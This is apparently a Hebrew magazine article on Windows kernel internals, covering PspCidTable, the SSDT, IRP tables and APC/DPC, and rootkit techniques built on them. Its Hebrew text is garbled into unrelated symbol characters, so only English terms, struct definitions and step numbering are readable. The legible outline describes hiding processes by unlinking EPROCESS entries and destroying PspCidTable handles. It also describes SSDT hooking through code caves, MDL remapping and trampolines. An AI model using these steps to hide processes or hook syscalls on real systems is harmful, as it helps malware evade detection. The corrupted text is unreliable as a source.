˳˪ˬˣˬ ˡˣ˞ˬ ˶˶˥˷˪ ˸˞ ˭ˣ˶˩ˤˢ ˷ˬˣ˷˷ ˨˧˪ˢ˸˟ 
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˨˧˪ˢ˸ ˷ˣˬ˧˷ˢ ˞˪ˬˢ ˟πMDL ˫ˠˡˣˬ ˢ˲Υ 

 

 

PspCidTable 

ˢ ˸ˬ˧˷˶˷ ˸ˣ˶ˬ˪-EPROCESS- ˸˩˶˰ˬ˟ ˫˧˩˧˪ˢ˸ˢ ˸˞ ˶˞˸ˬ˷ ˧ˤ˩˶ˬˢ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ ˞˧ˢ ˫˧

Windows  ˭ˣˠ˩ ˫˧˩˧˪ˢ˸˪ ˢ˷˧ˠ˪ ˫˧˧˦˧˶˵ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬ ˡˣ˰ ˷˧ ,˨˧˪ˢ˸ ˸˞˟˥ˢ˪ ˵˧˲˯ˬ ˢ˪˷ ˧ˣˮ˧˷ˣ

PspCidTable˪ ˰˧˟˴ˬ ˭ˣ˶˵˰˟ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ .-struct  ˫˷˟HANDLE_TABLE :˨˩ ˢ˞˶ˮ˷ 

typedef struct _HANDLE_TABLE { 
   PVOID        p_hTable;  
   PEPROCESS    QuotaProcess;  
   PVOID        UniqueProcessId;  
   EX_PUSH_LOCK HandleTableLock [ 4];  
   LIST_ENTRY   HandleTableList;  
   EX_PUSH_LOCK HandleContentionEvent;  
   PHANDLE_TRACE_DEBUG_INFO DebugInfo;  
   DWORD        ExtraInfoPages;  
   DWORD        FirstFree;  
   DWORD        LastFree;  
   DWORD        NextHandleNeedingPool;  
   DWORD        HandleCount;  
   DWORD        Flags;  
}  

ˢ ˸˞ ˪˟˵˪ ˭˸˧ˮ ˢˤˢ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ ˨˶ˡ-EPROCESS ˟ ˷ˣˬ˧˷ ˸˶ˤ˰˟ ˨˧˪ˢ˸ ˪˷-PID  ˸˶ˤ˰˟ ˣ˪˷

 ˣˬ˩ ˸ˣ˪ˣ˰˲PsLookupProcessByProcessId ˟ ˸˷˲˥ˬ ,˨˧˪ˢ˸ˢ ˶˲˯ˬ ˸˞ ˸˪˟˵ˬ˷-PspCidTable  ˸˞

ˢ ˸˞ ˢ˶˧ˤ˥ˬˣ ˨˧˪ˢ˸ˢ-EPROCESS .˫˧˞˸ˬˢ 

 
 

SSDT table 

πssystem service descriptor table ˞ˣˢ ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˪˧˩ˬ˷ ˫˧˰˧˟˴ˬ ˸ˣ˪ˣ˰˲˪ ˸ˣ˧ˬ˧ˮ˲ ˪ˮ˶˵˟ Σ˭˸ˣ˞ 

˸ˣ˪ˣ˰˲ ˸ˣ˞˶˵ˮ ˢˬ˞˸ˢ˟ ˶˲˯ˬ˪ ˢ˞˧˶˵ˢ ˵˲ˣ˯ˬ˷ ˸ˡˣ˵˲˟ sπsyscall Φˢ˶˵ˬ˟ ˢ˴˶ˮˣ ˞ˣ˶˵˪ ˪π

NtCreateFile ˨˶˦˴ˮ ˰˴˟˪ ˸˞ ˸ˡˣ˵˲ sπsyscall ˫˰ ˶˲˯ˬ ˢ˞˧˶˵ˢ ˫˧˞˸ˬˢ ˢ˪ˣ˰˲˪ ˸˯˶ˠ˟ ˪ˮ˶˵ˢ ˣˮ˪˷ Σ

πshandler ˪˷ ˸ˣ˞˧˶˵ ˸˩˶˰ˬˢ ˪˟˵˧ ˸˞ ˣ˸ˣ˞ ˶˲˯ˬ ˢ˞˧˶˵ ˢ˷˰˧ˣ resolve ˸˟ˣ˸˩˪ ˪˷ ˸˪ˣ˰˲ ˸˩˶˰ˬˢ 

ˢˬ˧˞˸ˬˢ ˸˶ˤ˰˟ ˶˲˯ˬ ˢ˞˧˶˵ˢ Φ 
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˸˞˧˴ˬ sπSSDT ˢ˧ˢ ˶˸ˣ˧ ˦ˣ˷˲ ˟πон ˦˧˟ Σ˧˩ ˤ˞ ˯˧˯˟ˢ ˪˷ ˢ˪˟˦ˢ ˢ˧ˢ ˞˴ˣ˧ˬ ˪˰ ˧ˡ˧ ˪ˮ˶˵ˢ ˢˬˣˡ˟ ˪π

EPROCESS ˪˷ ˨˧˪ˢ˸ˢ ˭ˣ˷˞˶ˢ ˸˩˶˰ˬ˟ Φ˨˞ ˣ˧˷˩˰ ˷˧ ˨˶ˣ˴ ˞ˣ˴ˬ˪ ˸˞ ˯˧˯˟ˢ ˪˷ ˢ˪˟˦ˢ ˢ˶ˣ˴˟ ˸˧ˮˡ˧ Σ

˧ˮ˞ˣ ˧˸˧˷˰ ˸˞ˤ ˸˶ˤ˰˟ pattern scanning ˢ˪ˣ˰˲˪ ˢ˷ˣ˰˷ reference ˢ˪˟˦˪ ύˢ˪˟˦ˢ ˸ˮ˯˥ˣ˞ˬ 

ˢˮ˸˷ˬ˟ ˫˷˟ KeServiceDescriptorTableόΦ 

˧˸˞˴ˬ ˶˟˯ˢ ˢ˪ˣ˰ˬ ˢ˦˧˷˪ ˡˣˬ˰˟ ˶˥˞ ˶˷˵˞˷ ˢ˦ˬ˪ Σ˨˩ ˢˤ ˡ˟ˣ˰Υ 
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ˢˮ˟ˬ ˢ˪˟˦ˢ ˢ˞˶ˮ ˨˩Υ 

typedef struct _SYSTEM_SERVICE_TABLE { 
   PVOID ServiceTableBase;  
   PVOID ServiceCounterTableBase;  
   ULONG64 NumberOfServices;  
   PVOID ParamTableBase;  
} SYSTEM_SERVICE_TABLE, * PSYSTEM_SERVICE_TABLE;  

˨ˣ˸ˬ ˢˮ˟ˬˢ ˪˷ sπSSDT table ΣServiceTableBase ˞ˣˢ ˶˦ˬ˶˲ˢ ˧˩ˢ ˟ˣ˷˥ ˣˮ˪ π ˸˞ˤ ˢˬ˧˷˶ˢ ˪˷ 

Ϧs˸ˣ˟ˣ˸˩ Ϧ˪˷ ˸ˣ˪ˣ˰˲ ˸˩˶˰ˬˢ Φ˧ˡ˩ ˸˷ˠ˪ ˫˧˩˶˰˪ ˣ˪˪ˢ ˸ˣ˪˵˟ ˭˸˧ˮ ˸ˣ˷˰˪ casting ˪πPULONG ύ˪˩ ˨˶˰ 

ˢ˪˟˦˟ ˞ˣˢ ˪ˡˣˠ˟ п ˫˧˸˟ Φό 

π˟он ˦˧˟ Σ˫˧˩˶˰ˢ ˣ˪˪ˢ ˣ˧ˢ ˦ˣ˷˲ ˸ˣ˟ˣ˸˩ˢ ˪˷ ˢ˪ˣ˰˲ˢ Σ˨˞ ˟πсп ˦˧˟ ˸˟ˣ˸˩˷ ˞˧ˢ ˪ˡˣˠ˟ сп ˫˧˦˧˟ Σ˧ˡ˩ 

˞ˣ˴ˬ˪ ˸˞ ˸˟ˣ˸˩ˢ ˸˧˸˧ˬ˞ˢ ˟πsystem space ˥˵˧ˮ ˸˞ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˪˷ sπSSDT ˢ˧˪˞˷ ˣˮ˯˥˧˧˸ˢ ˧ˮ˲˪ 

˭˩ ˱˧˯ˣˮˣ ˢ˪ ˸˞ ˨˶˰ˢ ˪ˡˣˠ˟ п ˫˧˸˟ ˟ˣ˸˩˷ ˫ˣ˵ˬ˟ ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˢ˪˟˦˟ ύrelative offset Σ˧ˮ˲˪ ˢ˲˯ˣˢˢ 

˷˧ ˨˶ˣ˴ ˸ˣ˷˰˪ shift right ˨˶˰˪ п ˫˧ˬ˰˲ό: 

 

IRP major function tableΥ 

˧ˬ ˵˯˰˸ˢ˷ ˦˰ˬ ˫˰ ˫˧˶˟˧˧˶ˡ ˧ˮ˲˪ ˭˩ ˢ˞˶ˮ˩ ˶˧˩ˬ ˸˞ ˥ˮˣˬˢ IRP π input request packet Σˢˤ ˢˮ˟ˬˢ 

ˣ˟˷ ˫˧˰˧ˠˬ ˫˧˶˦ˬ˶˲ˢ ˫˧˶˟˧˧˶ˡ˪ ˫˧˧˯˞˪˵ ΦIRP ˰˧ˠˬ ˶˟˧˧˶ˡ˪ ˸ˣ˟˵˰˟ IOCTL ˥˪˷ˮ˷ ˣ˧˪˞ π I/O 

Control ΦIOCTL ˥˪˷ˮ ˶˟˧˧˶ˡ˪ ˸˶ˤ˰˟ sπwinapi DeviceIoControl  Σ˨˶ˡ ˢ˪ˣ˰˲ xʕ ˫˧˶˟ˣ˰ ˫˧˶˦ˬ˶˲ˢ 

˸˪ˣ˰˲˪ ˶˟˧˧˶ˡˢ ˫˧˞˪ˬˬ˷ ˸˞ ˢˮ˟ˬ sπIRP  Σ˭ˣˠ˩Υ 

¶  major function code π ˯˵ˡˮ˧˞ ˨ˣ˸˟ sπIRP major table ˪˷ ˶˟˧˧˶ˡˢ Σ˨˶ˡ˟ ˪˪˩ 

IRP_MJ_DEVICE_CONTROL 

¶  IOCTL number π ˨˶˰ ˶˞˸ˬˢ ˸˞ ˠˣ˯ ˢ˧˧ˮ˲ˢ ˶˟˧˧˶ˡ˪ Σˢ˷˵˟ ˸˧˲˧˴˲˯ ˨ˣ˸ˬ ˢ˪ˣ˰˲ˢ ˸˰˴˟˸ˬ˷ ˟π

major function 

¶  I/O buffers  
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IRP major tables ˫ˢ ˸ˣ˞˪˟˦ˢ ˶˟˧˧˶ˡˢ˷ ˯˪˩˞ˬ ˨ˣ˸˟ s-DriverEntry ˣ˪˷ Φ˧˲˩ ˧˸ˮ˧˧˴˷ ˶˟˯ˢ˟ ˪˰ sπ

DRIVER_OBJECT Σˢ˪˟˦ˢ ˞˧ˢ ˫˴˰˟ ˨˶˰ˬ ˪˷ ˫˧˰˧˟˴ˬ ˪ˡˣˠ˟ ˰ˣ˟˵ ˪˷ ну Σ˪˩˪˷ ˯˵ˡˮ˧˞ ˢˬ˧˷˶˟ ˣˤˢ 

˷˧ ˢ˶˦ˬ ˸ˬ˧ˣ˯ˬ ˸ˣ˪˧˰˲˟ ˶˟˧˧˶ˡˢ ύˢ˪ˣ˰˲ ˸ˬ˧ˣ˯ˬ ˶˟˧˧˶ˡˢ˷ ˰˴˟ˬ ˢ˶˵ˬ˟ ˢ˰˧ˠˬ˷ ˢ˷˵˟ ˣˤ˩ Φό 

 
ˢ˶˦ˬˢ ˪˷ ˪˩ ˯˵ˡˮ˧˞ ˢˬ˧˷˶˟ ˸˶ˡˠˣˬ ˳˟ˣ˵˟ wdm.h ˸˶ˤ˰˟ macroπ˫˧ ˫˧˞˶ˮ˷ ˨˩Υ 

 

APCκDPC 

˧ˮ˲˪ ˧ˮ˞˷ ˯ˮ˩˞ ˷ˣˬ˧˷˪ ˪˷ ˫˧ˮ˟ˬˢ ˫˧ˬˡˣ˵ˢ ˦˟ˬˬ ˧˲˵˸ˢ Σ˧˸˧˴˶ ˭˧˧˴˪ ˸˞ ˫˧ˮˣˮˠˮˬˢ ˣ˪˪ˢ Φ˧ˮˣˮˠˮˬ sπ

APC sxπDPC ˞˪ ˫˧˧˦ˮˣˣ˪˶ ˪ˣ˴˧ˮ˪ ˶ˣ˟˰ ˢ˶˦ˬ ˸˧ˮˣˡˤ Σ˨˞ ˷˧ ˫ˢ˪ ˸ˣ˰ˬ˷ˬ ˢ˪ˣˡˠ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ ˷˧ˣ 

˫ˢ˪ ˫˧˷ˣˬ˧˷ ˫˧˟˶ Σˢ˟˶ˢ ˫ˢˬ ˫˧˟ˣ˷˥ ˫ˠ ˸ˣˮ˩˸˪ ˧˪ˮ˶˵ ˟-Windows Φ 

ˢ˶˴˵˟ ΣAPC ˞ˣˢ ˢˬ˧˷˶ ˪˷ ˸ˣ˷˵˟ ˸ˣˮ˩ˣ˸˷ ˸ˣˮˣ˷ ˣ˥˪˷ ˨˧˪ˢ˸˪ ˧˥˩ˣˮˢ ˭ˣ˴˶ˬ ˳˧˶ˢ˪ ˸ˣˡˣ˵˲ 

˦˯˵˦ˮˣ˵˟ ˪˷ ˣ˸ˣ˞ ˨˧˪ˢ˸ Σ˫˰ ˫˸ˣ˞ ˫˧˟˞˷ˬ Σˣ˪˧˞˩ ˢˤ thread ˪˧ˠ˶ ˣ˸ˣ˞ˬ ˨˧˪ˢ˸ Φ˟˪˷˟ ˫˧ˣ˯ˬ ˸˴˧˶˟ 

˨˧˪ˢ˸ˢ ˸˰˴˟˸ˬ ˢ˵˧ˡ˟ ˫˞ ˷˧ APCπ˫˧ ˫˧˩˥ˬ˷ ˢ˴˶ˢ˪ Σ˫˞ˣ ˭˩ ˫ˢ ˫˧˴˶ˣˬ ˧˲˪ ˶ˡ˯ ˸ˣ˟˧˷˥ˢ ˫ˢ˪˷ 

ˢˬ˧˷˶˟ ύ˷˧ ˢ˷ˣ˪˷ ˫˧ˠˣ˯ ˫˧˧ˤ˩˶ˬ ˪˩˪ˣ ˡ˥˞ ˸ˣ˟˧˷˥ ˢˮˣ˷ Φό˷ˣˬ˧˷ˢ ˧˦˵˶˲ˢ ˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˢˤ˪ ˞ˣˢ 
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˫˧˶˟ˡ˪ ˣˬ˩ process injection x˞ ˸˶ˤ˥ˢ ˢ˟ˣ˷˸ ˶˟˧˧˶ˡˬ ˢ˶ˤ˥ ˨˧˪ˢ˸˪ ˪˧ˠ˶ ˸˶ˤ˰˟ ˸ˣ˪ˣ˰˲ ˣˬ˩ 

KeStackAttachProcess Φˢˬ˧˷˶ˢ ˣˤˢ ˸˞˴ˬˮ ˨ˣ˸˟ sπKTHREAD ˪˷ ˡ˶˸ˢ ˫˧ˣ˯ˬˢ ˫˧˷˵˟ˬ˷ ˳ˣ˶˪ 

˦˯˵˦ˮˣ˵˟ ˣ˪˷ ˸˥˸ ˫˷ˢ ApcStateΦ 

DPC ˞ˣˢ ˭ˣˮˠˮˬ ˡˣ˞ˬ ˢˬˣˡ Σ˵˶ ˷πDPC ˭˸ˣˮ ˸ˣ˶˷˲˞ ˳˧˶ˢ˪ ˸ˣˡˣ˵˲ ˪˰ ˸ˡ˧˥˧ ˡˣ˟˧˰ ˸˧˲˧˴˲˯ ˡ˟˰ˬ˟ Φ˭˞˩ 

˪˩˪ ˸ˡ˧˥˧ ˡˣ˟˧˰ ˷˧ ˸˞ ˸ˬ˧˷˶ sπDPC ˪˷ˬ ˢˬ˴˰ ˞˧ˢˣ ˸˪˲˦ˬ ˟˪˷˟ ˫˧ˣ˯ˬ ˟πDPCπ˫˧ ˫˧˩˥ˬ˷ ˧˲˪ 

˶ˡ˯ˢ ˪˷ ˢˬ˧˷˶ˢ ύ˞˧ˢ ˫ˠ ˭˩ ˸ˮ˧ˣˬˬ ˧ˮ˲˪ ˸ˣ˧ˣ˟˧˷˥ Φό˧ˮ˞ ˨˪ˣˢ ˶˷˵˪ ˢ˦ˬ˪ ˶ˬ˞ˬ ˟ˣ˦ Σ˱˯ˣˮ˟ ˶˟˯ˢ˪ 

˱˯ˣˮ ˧˸˟˸˩˷ ˪˰ ˧ˮ˷ ˫˧ˮˣˮˠˮˬˢ ˣ˪˞ˢ ˫˧˵ˬ˰˸ˬ˷ ˶˸ˣ˧Φ 

 

 ˸˰˩ˣ- ˢ˲˵˸ˢ˪Η 

 ˤ˞˧˶˥˞ ˶˟˰˷ˣˮ ˪˰ ˫˧ˮ˟ˬˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˢˣ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˟ˣ˷˥˷ ˭˧˟ˢ˪ ˟πWindows Kernel Σ˧ˮ˞ ˨˪ˣˢ 

˸ˣ˞˶ˢ˪ ˨˧˞ ˪ˣ˩˧ ˸ˣ˷˰ˢ˪ ˷ˣˬ˧˷ ˫˧ˮˣˮˠˮˬ˟ ˣ˪˞ ˪˰ ˧ˡ˧ ˱˵ˣ˸ ˫˰ ˸ˣ˶˦ˬ ˸ˣ˧ˮˣˡˤ ˧ˡ˩ ˠ˧˷ˢ˪ ˸ˣ˶˦ˬ ˭ˣˠ˩ 

˸˞˟˥ˢ ˫˧˩˧˪ˢ˸ Σ˸˞˟˥ˢ ˫˧˴˟˵ ˸˞˟˥ˢˣ ˸˶ˣ˷˵˸ ˸˧˦ˮ˶˦ˮ˧˞ ˫˰ ˸˩˶˰ˬˢ ˸˲˵˸ˣˬˢΦ 

 

EPROCESS unlink 

˧˲˩ ˧˸ˮ˧˧˴˷ ΣπsEPROCESS list ˞˧ˢ ˢˬ˧˷˶ˢ ˸˧ˤ˩˶ˬˢ ˪˷ ˸˩˶˰ˬˢ ˪˰ ˫˧˩˧˪ˢ˸ˢ ˫˧˴˶˷ Σ˧ˡ˩ˣ ˞˧˟˥ˢ˪ 

˨˧˪ˢ˸ ˸˩˶˰ˬ˟ ˵˧˲˯ˬ ˵˶ ˸ˣˮ˷˪ ˸˞ ˫˧˩˶˰ˢ ˟πLIST_ENTRY ˪˷ ˫˧˩˧˪ˢ˸ˢ ˟˧˟˯ˬ ˨˧˪ˢ˸˪ ˫˧˴ˣ˶˷ 

˞˧˟˥ˢ˪ Φˢ˵˧ˬ˸˧˶ˣˠ˪˞ˢ ˨˧˪ˢ˸˟ ˡˣ˞ˬ ˢ˦ˣ˷˲ Υ˷˲˥˪ ˸˞ ˨˧˪ˢ˸ˢ ˫˧˴ˣ˶˷ ˞˧˟˥ˢ˪ ˸˶ˤ˰˟ ˶˲˯ˬ 

˨˧˪ˢ˸ˢ ύPID Σό˰ˠ˶˟ ˫˧˞˴ˣˬ˷ ˷ˬ˸˷ˢ˪ ˟πLIST_ENTRY ˪˷ ˨˧˪ˢ˸ˢ ˫ˡˣ˵ˢ ˸ˣˮ˷˪ˣ ˸˞ ˨˶˰ sπFlink 

˰˧˟˴ˬ˪ ˪˷ sπLIST_ENTRY ˪˷ ˨˧˪ˢ˸ˢ ˞˟ˢ Σ˨˩ˣ ˣ˸ˣ˞ ˶˟ˡ ˫ˠ ˫˰ s-Blink ˪˷ ˨˧˪ˢ˸ˢ ˞˟ˢ ˨˧˪ˢ˸˪ 

˫ˡˣ˵ˢ Φ 

˨˧˪ˢ˸ˢ ˢ˞˶ˮ ˨˩ ˷ˣˬ˧ˬˢˣ ˣ˪˷ ˞˪ ˡˣ˞ˬ ˟˩˶ˣˬΥ  
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˸ˣ˶ˬ˪ ˸ˣ˪˧˰˧ˢ ˪˷ ˢ˦˧˷ˢ ˣˤˢ Σ˸ˣ˩ˬ˸˯ˢ ˪˰ ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˡ˥˞ ˪˷ ˪ˮ˶˵ˢ ˧ˡ˩ ˞˧˟˥ˢ˪ ˫˧˩˧˪ˢ˸ x˞ ˪˩ 

˦˵˧˧˟ˣ˞ ˸˩˶˰ˬ ˶˥˞ ˸˞ˤ ˢ˦˧˷ ˸˧˸˧˧˰˟Υ ˡ˧ˬ˸ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˶˥˞ ˪˩ˣ˧˷ ˱ˣ˷˥˪ ˨˸ˣ˞ Σ

ˢ˶˵ˬ˟ˣ ˢˤ ˢˮ˟ˬˢ ˪ˣ˩˧ ˸ˣ˧ˢ˪ s-PspCidTableΦ 

PspCidTable unlink 

˨˶ˡ˟ ˪˪˩ ˸ˣ˵ˤˣˮ ˣ˪˴ˮ˧ ˵˶ ˸˞ ˸ˬ˧˷˶ sπEPROCESSπ˫˧ ˧ˡ˩ ˞˧˟˥ˢ˪ ˫˧˩˧˪ˢ˸ Σ˷ˣ˲˧˥ˣ ˦ˣ˷˲ ˟-

PspCidTable ˸˶ˤ˰˟ ˢ˪ˣ˰˲ˢ PsLookupProcessByProcessId ˪ˣ˩˧ ˵˧ˮ˰ˢ˪ ˶˟˧˧˶ˡ˪ ˸˞ sπEPROCESS ˪˷ 

˨˧˪ˢ˸ˢ ˷Ϧ˞˟˥ˣˢ ΦϦ˨˶ˡˢ ˞˧˟˥ˢ˪ ˨˧˪ˢ˸ ˟-PspCidTable ˶˸ˣ˧ ˸˟˩˶ˣˬ ˢˬ˩ˬ ˸ˣ˟˧˯Υ 

мό ˸˟ˣ˸˩ s-PspCidTable ˞˪ ˸˞˴ˣ˧ˬ ˪ˮ˶˵ˢˬ ˣˬ˩ ˨˧˪ˢ˸ˢ ˭ˣ˷˞˶ˢ ˸ˬ˧˷˶˟ sπEPROCESSES 

нό ˸ˣ˪ˣ˰˲ ˣˬ˩ ExDestroyHandleA ˣ˶ˤ˰˧˷ ˣˮ˪ ˯ˣ˶ˢ˪ ˸˞ sπhandle ˨˧˪ˢ˸˪ ˫ˠ ˞˪ ˸ˣ˞˴ˣ˧ˬ ˪˰ ˧ˡ˧ 

˪ˮ˶˵ˢ 
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˪˪ˠ˟ ˨˧˪ˢ˸ˢ˷ ˪˷ ˢ˞˟˥ˢˢ Σ˸˞˧˴ˬˬ ˪˩ ˫˧˟˧˩˶ˢ ˡ˰ˣ ˢ˞˟˥ˢ˪ ˢˬ˴˰ Σ˧ˮ˞ ˶˷˵˞ ˶ˬ˞ˬ ˟ˣ˦ ˶˧˟˯ˬ˷ 

˸˞ ˪˩ ˨˧˪ˢ˸ˢ Σ˨˞ ˧ˮ˞ ˶˧˟˯˞ ˢ˶˴˵˟ ˸˞ ˭ˣ˧ˠˢˢ ˨˧˪ˢ˸˟Υ 

мό ˸˞˧˴ˬ ˪˩ ˠˣ˯ ˪˷ reference ˡˣ˵˟ ˪˷ ˪ˮ˶˵ˢ ˸˟ˣ˸˩˪ ˪˷ PspCidTable ˢˤˤˢ˟ ˶˦˯˧ˠ˶˪ ˣˢ˷˪˩ ˪˷ˣ 

ˢ˞˧˶˵ ˢ˪ˣ˰˲˪ ˣˬ˩ ExDestroyHandleA 

нό ˠ˧˷ˢ˪ ˸˞ ˯˧˯˟ˢ ˪˷ ˪ˮ˶˵ˢ ˭ˣ˶˩˧ˤ˟ ˸˩˶˰ˬˢ ˶˥˞˪ˣ ˭˩ˬ ˠ˧˷ˢ˪ ˸˞ sπ.text section ˪˷ ˪ˮ˶˵ˢ Φ

˸˶ˤ˰˟ ˰ˡ˧ˬˢ ˢˤˢ ˪˩ˣˮ ˸ˣ˷˰˪ Pattern scanning ˸˧ˬ˞ˮ˧ˡ ˠ˧˷ˢ˪ˣ ˸˞ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˧˦ˮˣˣ˪˶ˢ 

 

 

оό ˰ˣ˴˧˟ pattern scanning ˪˰ ˡˣ˵ˢ ˪˷ ˪ˮ˶˵ˢ ˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ sπrefrences ˣˮ˯˥˧˧˸ˢ˷ ˫ˢ˧˪˞ 

пό ˸ˠ˷ˢ HANDLE ˨˧˪ˢ˸˪ξthread ˫˧˴ˣ˶˷ ˞˧˟˥ˢ˪ ˸˪˰˲ˢˣ ExDestroyHandleA ˪˰ ˢ˪˟˦ˢ ˫˰ sπ

handle 

  



 
 

Windows Kernel   
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 162, ˧ˮˣ˧ нлнп  ос 
 

SSDT hooking 

SSDT hooking ˞˧ˢ ˢ˦˧˷ ˢ˰ˣˡ˧ ˡˣ˞ˬ ˸˟˧˟˯˟ ˪ˮ˶˵ˢ Σ˨˞ ˭˧˞ ˢ˟˶ˢ ˡˣ˰˧˸ ˪˰ ˭ˣ˧ˠˢˢ ˢ˧˶ˣ˥˞ˬ ˸ˣ˩˶˰ˬ˟ 

сп ˦˧˟ Φ˧˲˩ ˧˸ˮ˧˧˴˷ Σπ˟он ˦˧˟ ˨˧˪ˢ˸ˢ ˪˷ ˷ˣˬ˧˷ ˟πSSDT ˰ˣ˴˧˟ˣ ˸ˣ˪ˣ˰˲ ˣˬ˩ SSDT hooking ˢ˧ˢ ˢ˟˶ˢ 

˶˸ˣ˧ ˦ˣ˷˲Υ 

мό ˸ˠ˷ˢ ˯˧˯˟ˢ ˪˷ ˢ˪˟˦ˢ ˞ˣ˴˧ˢˬ ˪˷ ˪ˮ˶˵ˢ ύKiServiceDescriptorTableό 

нό ˸˞˧˴ˬ ˨˶˰ˢ ˫˧˞˸ˬˢ ˪˷ ˸˟ˣ˸˩ ˢ˪ˣ˰˲ˢ ˨˧˶˴˷ ˞ˣ˶˵˪ ˢ˪ ˢ˪˟˦˟ ˸˶ˤ˰˟ ˶˲˯ˬ sπsyscall ύ˯˵ˡˮ˧˞ 

˨ˣ˸˟ ˢ˪˟˦ˢό 

оό ˧ˣˮ˧˷ ˨˶˰ˢ ˨ˣ˸˟ ˢ˪˟˦ˢ ˸˟ˣ˸˩˪ ˪˷ ˢ˪ˣ˰˲ˢ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˳˧˶ˢ˪ ˸˶ˤ˰˟ ˭ˣˮˠˮˬ ˣˬ˩ MDL 

˪˩ ˣ˪˞ ˣˮ˸˷ˢ ˟πсп ˦˧˟ Σ˭˩˪ˣ ˨˧˪ˢ˸ˢ ˶˸ˣ˧ ˨ˣ˶˞ ˪˟˶ˣ˯ˬˣ ˢˬˬ ˞ˣˢ˷ ˢ˧ˢ ˧ˮ˲˪ ˭˩Υ 

мό ˸ˠ˷ˢ ˯˧˯˟ˢ ˪˷ ˢ˪˟˦ˢ ˸˶ˤ˰˟ pattern scanning ˪˷ ˢ˪ˣ˰˲ ˸ˬ˧ˣ˯ˬ ˪ˮ˶˵˟ ύ˧˲˩ ˧˸˶˟˯ˢ˷ ˵˪˥˟ 

˪˰ sπSSDTό 

нό ˸ˠ˷ˢ ˨˶˰ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ ˢ˸˧˧ˢ˷ ˟πentry ˧ˡ˩ ˪˩ˣˮ˷ ˞ˣ˶˵˪ ˢ˪ ˪˩˟ ˢ˶˵ˬ ˧ˡ˩ ˸˩˶˰ˬˢ˷ 

˪˰˲˸ ˪˧ˠ˶˩ ύ˧˲˩ ˧˸˶˟˯ˢ˷ ˵˪˥˟ ˪˰ sπSSDTό 

оό ˸˞˧˴ˬ ˭ˣ˶˩ˤ ˞˪ ˷ˬˣ˷ˬ ύcode cave ό˪ˮ˶˵˟ Φ˨˧˶˴ ˸ˣ˷˰˪ ˸˞ˤ ˪˪ˠ˟ ˣ˧˷˩˰˷ sπresolving ˪˷ 

ˢ˪ˣ˰˲ˢ ˢˬπentry ˢ˪˷ ˟πSSDT ˰˴ˣ˟ˬ ˸˶ˤ˰˟ relative offset ˯˧˯˟˪ ˪˷ ˢ˪˟˦ˢ Φ˶ˬˣ˪˩ Υ˧ˮ˞ ˟˧˧˥ 

˸ˣ˧ˢ˪ ˥ˣˣ˦˟ ˪˷ ˭˧˟ 0x0 ˭˧˟˪ 0xFFFFFFFF ˯˧˯˟ˢˬ ˪˷ ˢ˪˟˦ˢ ˧ˡ˩ ˪˩ˣˮ˷ ˰˴˟˪ SSDT hook Φ˪˪ˠ˟ 

ˢ˪˟˦ˢ˷ ˪ˮ˶˵˟ ˪ˡˣˠˢˣ ˪˪ˣ˩ˢ ˪˷ ˪ˮ˶˵ˢ ˞˪ ˢ˪ˣ˰ ˪˰ 0xFFFFFFFF Σ˸˞˧˴ˬ˟ code cave ˪ˮ˶˵˟ ˪˩ˣˮ 

˶ˣ˴˧˪ ˠˣ˯ ˪˷ trampoline ˳ˣ˲˵˸˷ ˣ˸ˣ˞ˬ ˶ˣˤ˧˞ ˪ˮ˶˵˟ ˢ˪ˣ˰˲˪ ˣˮ˪˷ ˸˞˴ˬˮ˷ ˳ˣ˥ˬ ˪πntoskrnl.exe Φ

˸˞˧˴ˬ˪ sπcode cave ˧˸ˠ˷ˢ ˸˞ ˯˧˯˟ sπimage ˪˷ ˪ˮ˶˵ˢ sxπtext section ˣ˪˷ ˢ˶ˣ˴˟ ˢˢˤ ˣˤ˪ 

˧˸ˠ˴ˢ˷ ˵˪˥˟ ˪˰ PspCidTable unlink 

пό ˶˥˞˪ ˸˞˧˴ˬ ˭ˣ˶˩ˤˢ ˣ˧˪˞˷ ˳ˣ˲˵ˮ ˫˰ ˵ˣˢˢ ˢ˴˶ˮ ˭˧˩ˢ˪ ˸˞ ˣ˸ˣ˞ ˶ˣˤ˧˞ ˪ˮ˶˵˟ ˢ˟˧˸˩˪ Φˣˬ˩ ˧˸ˮ˧˧˴˷ 

ˢˤ sπtext section ˪˷ sπimage ˪˷ ˪ˮ˶˵ˢ ˭˩˪ˣ ˶ˣˤ˧˞ˢ ˢ˧ˢ˧ ˞˪˪ ˸ˣ˞˷˶ˢ ˢ˟˧˸˩ Φ˟ˣ˸˩ˮ ˶ˣˤ˧˞˪ 

˸˶ˤ˰˟ MDL ˨˶˰ˢˣ ˟ˣ˸˩ˮ˷ ˢ˧ˢ˧ stub ˵˶˷ ˳ˣ˲˵˧ ˸˟ˣ˸˩˪ ˳ˣ˥ˬ ˪πimage ˪˷ ˪ˮ˶˵ˢ Σˢ˧˪˞˷ ˣˮ˥ˮ˞ 

˸ˬ˞˟ ˫˧˴ˣ˶ ˞ˣ˶˵˪ 

рό ˣ˧˷˩˰ sπstub ˣˮ˪˷ ˞˴ˬˮ ˨ˣ˸˟ ˡˣ˵ˢ ˪˷ ˪ˮ˶˵ˢ Σ˧ˡ˩ˣ ˫˧˧˯˪ ˸˞ sπhook ˨˶˦˴ˮ ˵˶ ˸ˣˮ˷˪ ˸˞ ˨˶˰ˢ 

